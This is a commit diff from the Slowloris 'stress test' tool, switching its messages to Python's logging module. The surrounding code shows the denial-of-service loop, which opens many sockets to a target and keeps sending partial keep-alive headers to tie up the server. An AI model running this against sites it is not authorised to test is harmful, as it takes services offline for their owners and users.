Switched to logging module

This commit is contained in:
Gökberk Yaltıraklı 2016-11-19 18:15:44 +00:00
parent e67f4d1de0
commit db4c9b19d9
1 changed files with 8 additions and 12 deletions

View File

@ -1,4 +1,4 @@
import socket, random, time, sys, argparse, random import socket, random, time, sys, argparse, random, logging
parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites") parser = argparse.ArgumentParser(description="Slowloris, low bandwidth stress test tool for websites")
parser.add_argument('host', nargs="?", help="Host to preform stress test on") parser.add_argument('host', nargs="?", help="Host to preform stress test on")
@ -20,13 +20,9 @@ if not args.host:
sys.exit(1) sys.exit(1)
if args.verbose == True: if args.verbose == True:
log_level = 2 logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else: else:
log_level = 1 logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.INFO)
def log(text, level=1):
if log_level > level:
print(text)
list_of_sockets = [] list_of_sockets = []
user_agents = [ user_agents = [
@ -72,19 +68,19 @@ def init_socket(ip):
def main(): def main():
ip = args.host ip = args.host
socket_count = args.sockets socket_count = args.sockets
log("Attacking {} with {} sockets.".format(ip, socket_count)) logging.info("Attacking %s with %s sockets.", ip, socket_count)
log("Creating sockets...") logging.info("Creating sockets...")
for _ in range(socket_count): for _ in range(socket_count):
try: try:
log("Creating socket nr {}".format(_), level=2) logging.debug("Creating socket nr %s", _)
s = init_socket(ip) s = init_socket(ip)
except socket.error: except socket.error:
break break
list_of_sockets.append(s) list_of_sockets.append(s)
while True: while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets))) logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
for s in list(list_of_sockets): for s in list(list_of_sockets):
try: try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8")) s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
@ -92,7 +88,7 @@ def main():
list_of_sockets.remove(s) list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)): for _ in range(socket_count - len(list_of_sockets)):
log("Recreating socket...") logging.debug("Recreating socket...")
try: try:
s = init_socket(ip) s = init_socket(ip)
if s: if s: